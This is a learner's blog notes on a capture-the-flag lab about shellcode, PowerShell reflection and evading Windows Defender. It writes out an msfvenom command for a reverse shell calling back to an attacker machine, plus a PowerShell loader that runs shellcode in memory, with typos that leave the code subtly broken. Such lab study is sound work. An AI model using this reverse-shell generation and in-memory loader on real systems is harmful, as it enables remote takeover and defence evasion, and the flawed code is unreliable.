Post 68 - My head hurts
Task 14, Day 8 Shellcodes Shellcodes of the world, unite!
Terminology
- Shellcode: Piece of code usually used by malicious actors during exploits like buffer overflow attacks to inject commands into vulnerable systems, often leading to executing arbitrary commands or giving control over a compromised machine. Typically written in assembly language.
- PowerShell: Scripting language and command line shell built into Windows for task automation and config management. Allows interaction with system components. Often used as a post-exploitation tool because of its deep access to system resources and ability to run scripts in memory, avoiding disk-based detection mechanisms.
- Windows Defender: Built-in security feature that can scan code at runtime Common bypasses include obfuscating scripts and refelctive injection, where code is loaded directly into memory avoiding signature based defences.
- Windows API: Allows promgrams to interace with the OS, giving access to system-level functions like memory management, file operations, and networking. Crucial for exploitation because it allows manipulating processes, allocating memory, and executing shell codes. Common functions abused:
VirtualAlloc,CreateThread, andWaitForSingleObject. - Windows API through PowerShell Reflection: Advanced technique that enables interfacing with API from PowerShell. Allows calling API functions directly at runtime instead of needing precompiled binaries. Enables manipulation of low-level system processes allowing interaction with the OS and executing code stealthily while bypassing security mechanisms.
- Reverse shell: Shell connection where the target machine initiates the connection to the attacking machine.
Generating Shellcode
Chosen method for lesson: msfvenom -p windows/x64/shell_reverse_tcp LHOST=<attackbox_ip> LPORT=1111 -f powershell. Shellcode is generated in hex and is run by loading it into memory and creating a thread to execute it. Simple example script to execute the shellcode:
$VrtAlloc = @"
using System;
using System.Runtime,InteropServices'
public class VrtAlloc{
[DllImport("kernal32")]
public static extern IntPtr VirtualAlloc(IntPtr lpAddress, uint dwSize, uint flAllocationType, uint flProtect);
}
"@
Add-Type $VrtAlloc
$WaitFor= @"
using System;
using System.Runtime.InteropServices;
public class WaitFor{
[DllImport("kernal32.dll", SetLastError=true)]
public static extern UInt32 WaitForSingleObject(IntPtr hHandle, UInt32 dwMilliseconds);
}
"@
Add-Type $WaitFor
$CrtThread= @"
using System;
using System.Runtime.InteropServices;
public class CrtThread{
[DllImport("kernal32", CharSet=CharSet.Ansi)]
public statis extern IntPtr CreateThread(IntPtr lpThreadAttributes, uint dwStackSize, IntPtr lpStartAddress, IntPtr lpParameter, uint dwCreationFlags, IntPtr lpThreadid);
}
"@
Add-Type @CrtThread
[Byte[]] $buf = SHELLCODE_PLACEHOLDER
[ItrPtr]$addr = [VrtAlloc]::VirtualAlloc(0, $buf.Length, 0x3000, 0x40)
[System.Runtime.InteropServices.Marshal]::Copy($buf, 0, $addr, $buf.Length)
$thandle = [CrtThread]::CreateThread(0, 0, $addr, 0, 0, 0)
[WaitFor]::WaitForSingleObject($thandle, [uint32]"0xFFFFFFFF")
Explanation of Code
Starts by defining C# classes that use DllImport to load functions from the kernal32 dll in the API.
VirtualAlloc: Allocates memory in the process’ address space. Commonly used to prepare memory for storing and executing shellcode.CreateThread: Creates a new thread in the process that executes the shellcode in the memory.WaitForSingleObject: Pauses exectution until a specific thread finishes its task. In this case ensures shellcode has finished running.
Classes are added to PowerShell via Add-Type command.
Then script stores the shellcode in $buf variable, where SHELLCODE_PLACEHOLDER = the hex coe from msfvenom. VirtualAlloc then allocates the block of memory where the shellcode will be stored using the following arguments:
0for memory address means Windows can decide the location.$buf.lengthfor the size of the memory block bases size on length of the shellcode.0x3000for allocation type tells Windows to reserve and commit the memmory.0x40for memory protection means memory is readable and executable.
Marshal.Copy then copies the shellcode from $buf to the allocated memory address. CreatThread then executes the shellcode by creating a new thread. WaitForSingleObject then makes sure the shellcode runs completely before the script ends its execution.
The Task
Use the shellcode and C# code generated/written earlier to get a remote shell and get the flag. Had a lot of trouble because I couldn’t paste into the Windows VM and made a mess of copying the code over by hand, then didn’t even want to attempt typing in the hex. Finally realized I could RDP into it with Remminna and the clipboard worked between the two.
Recommended Stuff
AV Evasion: Shellcode room